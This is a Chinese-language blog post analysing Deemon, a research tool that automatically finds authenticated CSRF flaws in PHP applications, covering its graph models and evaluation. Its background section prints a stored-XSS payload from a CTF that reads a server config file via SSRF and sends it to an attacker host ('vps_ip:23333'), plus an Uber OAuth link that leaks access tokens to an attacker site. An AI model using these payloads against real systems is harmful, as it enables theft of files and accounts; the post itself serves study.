Deemon & CSRF漏洞自动挖掘工具分析
前言
在前端的攻击中,一般活跃在大家视线里的可能都是xss居多,对于csrf这一块正好我也抱着学习的心态,了解到安全顶会有一篇自动化挖掘CSRF漏洞的paper,于是看了看,以下是相关知识分享。
背景
CSRF可以分为两种,一种是authenticated CSRF,一种是login CSRF。
login CSRF
对于login CSRF,这里我们以曾经的价值8000美金的Uber漏洞为例:
在网站中,登录流程机制大致如下:
如果我们将somewhere改为google.com,那么流程将变为:
此时可以发现网站存在重定向的漏洞。如果此处我们将response_type=code改为response_type=token:
由于Oauth请求使用的是code并非access_token,所以此处重定向失败。
那么此处可以引入login CSRF攻击,为oauth2-callback节点提供有效的code值,那么即可将受害者的access_token带出重定向到我们的网站。
那么只要受害者点击链接:
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{攻击者的有效OAuth code}&state=%2F%2f攻击者控制的站点
攻击者即可在网站hackerone.com收到受害者的access_token。
authenticated CSRF
对于authenticated CSRF其实容易理解很多,即在用户登录后的页面里插入evil html,这里的方式可以多样化,例如可以利用xss,插入 HTML iframe tag,或者 self-submitting JavaScript code, 又或是使用XMLHttpRequest JavaScript API等等。
这里可以以一道CTF题目为例:https://xssrf.hackme.inndy.tw/
详细的题解可以参考我这篇文章:https://skysec.top/2018/08/17/xss-ssrf-redis/
这里我们简单提一下:
题目允许攻击者使用xss在发邮件处进行攻击,我们可以发送如下请求:
< svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");
" >
当受害者访问到该存储性xss会显示的页面,即会自动使用request.php页面,发送post请求,访问file:///var/www/html/config.php,同时会将response重定向发送到我们的攻击服务器:http://vps_ip:23333/?'+btoa(xmlhttp.responseText),我们即可完成攻击,利用受害者获取一些数据。
阶段总结
两者区别在于authenticated CSRF建立于受害者已经登录授权后的攻击,而login CSRF的目的是让受害者使用攻击者的登录凭证。前者即利用登录后的受害者进行一些需要授权的操作,例如转账等等。而后者更倾向于攻击者利用自己的证书,让受害者登录。
而本篇文章中,作者主要研究的是authenticated CSRF的自动化动态分析和挖掘。
工具设计难题
在设计中作者遇到了两方面的难题,一个是detection challenges,另一个是operational challenges。
detection challenges
· C1 State Transitions
由于在web程序里存在大量的状态转换,例如,用户更改密码后,旧密码不再被使用,此时即是一次状态转换。
这样的问题在sql注入或者xss攻击的fuzz工具中可能影响并不是很大,但在CSRF中就会有较多的干扰,所以现在的模型难以直接牵引至aCSRF的fuzz工具中。那么如何确定何时发生状态转换,成为了一个难题。
· C2 Security-Relevant State Changes
状态改变的操作很多,但如何识别哪些状态改变是和安全相关的,这成为了一个难题。
· C3 Relationships of Request Parameters and State Transitions
例如如下请求:
http://example.com/?newpassword=123123
对于上述链接,工具可能无法知道newpassword这个参数会带来状态转换,这是一个更改密码的操作,且新密码是123123。所以如何确定请求参数和状态转换之间的关系,成为一个难题。
operational challenges
· C4 Transitions in Non-Trivial Application Workflows
在Web程序中,经常需要一系列操作后,才能达到更改某个状态的目的,但现有的工具并不能比较好的处理这一系列复杂的操作,静态分析中也存在这样的缺陷。那么如何在较为复杂的web工作流程中找到导致状态变化的请求,成为了一个难题。
· C5 Side-Effect-Free Testing
测试中引起的状态变化的副作用是不可逆的,例如在购物车界面,如果我们随机测试,清空了购物车,那么后续的测试将难以进行,这一状态根据现有工具很难逆转。
· C6 Comprehensive, Reusable Representation of Application Functionality
在解决aCSRF工具的问题时,会用到许多的模型,但是模型之间可能使用了不同的语言,并且他们之间可能关系复杂,如何将这些模型高效的凝结在一起,使我们可以建立全面的,可重用的应用程序功能表示,成为了一个难题。
工具设计方法
方法概述
作者为克服上述困难,开发工具基于php后端,mysql数据库的aCSRF自动检测工具:Deemon。
· C1 & C3
为了解决C1和C3的难题,Deemon从程序执行观察中推断状态转换和数据流信息的模型。
· C6
为了解决C6的难题,Deemon使用属性图来描绘不同模型之间的精准关系。
· C2
为了解决C2的问题,Deemon使用图遍历的思想来识别与安全相关的更改操作。
· C4
为了解决C4的问题,Deemon在web执行环境中加入一些传感器,并重新生成一组用户操作,用以观察服务器端程序的执行。
· C5
最后,为了解决C5的问题,Deemon依赖于虚拟化环境来测试web应用程序,因此可以使用拍摄和恢复快照来解决副作用不可逆的难题。
工具需要web应用程序容器和一组用户操作作为输入,且Deemon的执行分为两部分:instrumentation和detection。
在instrumentation部分,Deemon会修改web应用程序容器,在其中插入传感器,用于提取网络跟踪、服务端执行流程和数据库操作。而在detection部分,Deemon会自动复制用户的操作,从结果跟踪推断模型,并测试程序中的aCSRF漏洞。
那么对于input,我们输入的用户操作,一般是测试人员提供的一组用户操作序列,例如用户在UI界面上的操作,诸如鼠标点击、html表单提交等等,那么这一系列的操作会被转化为input : 用户加载index.php,然后点击更改密码链接,然后输入新的用户密码,点击提交。
对于instrumentation部分,由于Deemon是以php为后端所设计,所以其启用了php的Xdebug模块,用以观察程序执行流程和数据操作,同时设计了一个http本地代理,用以观察服务器和浏览器之间的http交换。
对于detection部分,Deemon会重复2次用户操作,并利用传感器对数据进行观察,例如查看其数据来源,并判断一些参数是否为随机数等,并从中推断出一个模型,使用模型进行安全测试和漏洞挖掘。
模型建立
· Traces and Parse Trees
对于事件发生的顺序和原因,Deemon对其建模,节点为事件Event,其具有两种关系edge:
next:事件之间发生的先后顺序
causes:事件之间发生的因果关系
而对于事件的内容,Deemon也对其建模,其具有2种edge:
child:对http request的解析后的内容部分,用child连接节点
parses:http请求 / sql查询与事件的解析关系(这实际上是2个model之间的关系了)
· Finite State Machines
Deemon基于有限状态机进行建模,设立了2种节点和3种edge:
State节点代表某一具体状态,StateTrans节点代表中间状态,其中trans代表由某一具体状态转移到中间状态,to代表由中间状态转移到另一具体状态,而accept表示中间状态接受某一HTTP请求从而发生状态转移(这实际上是2个model之间的关系了)。
· Dataflow Models
Deemon基于数据流对某个变量进行建模,设立了1种节点,3种edge:
source:数据的来源
propag:数据之间的传递关系
sink:数据的最终利用节点
同时这里的DFM变量会和FSM状态有关系,即:has,代表某一状态拥有某个数据。
综合上述建模,我们可以看到在如上的请求中,其会被解析到各个model中:
注意到变量会有sem_type标签,该标签含义如下:
SU:session unique,如果变量的值在同一session中相同,但在不同session中不同,那么该值的语义类型为SU。
UU:user unique,如果变量值在用户追踪中相同,但是在不同用户之间不同,那么该值类型为UU。
CO:constant,如果变量值从未改变,全部相同,则该值类型为CO。
UG:user-generated ,如果变量值在数据传递propagation chain上,同时是从user action开始的,那么其语义类型为UG。
这样的标签可以更好的用来区分哪些是安全相关的变量,哪些是漏洞不关心的变量。
关系建立
在模型建立完毕后,为了关联不同的model,作者在这里设定了一些Relationships:
· Dataflow Information:用来描述状态和变量之间的关系,在 DFM 和 FSM 或者 DFM 和 解析树之间出现。
· Data Propagation:用来描述变量和变量之间的关系,在DFM 和 DFM之间出现。
· Abstractions:描述具体的元素和抽象的元素之间的关系,比如sql查询语句,把里面变量的值删掉,生成抽象语句
· Event Causality:事件发生的因果关系,例如用户点击链接和生成HTTP请求之间可能存在该关系。
· Accepted Inputs:存在于HTTP请求和状态转换之间,例如一次HTTP请求导致了状态转换,则可以表达为FSM accepts HTTP Request
那么在最后的CSRF漏洞检测时,基于前面的模型,我们可以使用如下的方法:
即关注由一个http请求导致的状态转变问题。结果集如下:
其中q'和q''是2种状态,tr是状态转换,pt是http请求。
此时会引起状态转换的http请求都会出现在Qsc的集合中,但是并非所有请求引起的状态转换都是安全相关的。例如一些数据库操作,记录用户的行为等。那么对于这一类请求,工具会做相应的筛除,这里假设安全不相关的查询可能在一次追踪中发生多次,那么只要找到这些多次的,将其筛除即可。
寻找方式如下:
找到所有这样的http请求和sql查询的对,删除AbsSQL传出边数大于1的所有对。因为我们可以认为多个请求都是在操作同一sql语句的,一般都是在做用户活动的log之类的操作。
实验评估
作者从4个应用场景来选择了一些web application进行测试:
为了获取数据和捕获跟踪用于建模,工具会进行下列3种测试:
· 只对工作流进行跟踪,不跟踪用户
· 对工作流和某个已存在的用户进行操作跟踪
· 对相同的工作流和新建立的用户进行操作跟踪
首先可以获取到时request请求情况:
其中Reqs代表的是普通的requests请求,SC Reqs代表的是会引起状态改变的requests请求,而Rel SC Reqs代表的是真正引起状态改变的requests请求,有这样的原因是web的大部分request请求都会引起某个状态的改变,但是一般其为用户session的管理,并不是我们关注的安全状态的改变。
对于CSRF攻击,我们知道一般可以采用CSRF token进行防御,所以在测试中,遇到了CSRF的保护的情况和没有CSRF的情况可以分为如下两类:
其中TCs的意思为test case,Fail为攻击失败的例子,succ为攻击成功的例子,而Expl代表成功利用的aCSRF漏洞。
对于易受攻击的网站,其出现的漏洞如下:
3.攻击者可以删除网站某些功能服务,同时可以删除收件人。该漏洞出现在Mautic上。
4.攻击者可以创建管理员和用户,甚至可以更改开票数据,付款方式等。该漏洞出现在Simple Invoices上。
而对于MyBB虽然有成功的case,但是并不能成功写出exp,因为在工具测试中,将管理员的密钥当做了常量,但实际上这个值我们在真实环境中是难以获取到的。
后记
本篇CSRF自动化测试的文章,个人认为比较好的部分在于其建模,基于其完善的建模,对于漏洞的挖掘也可以变得高效而简单,值得学习。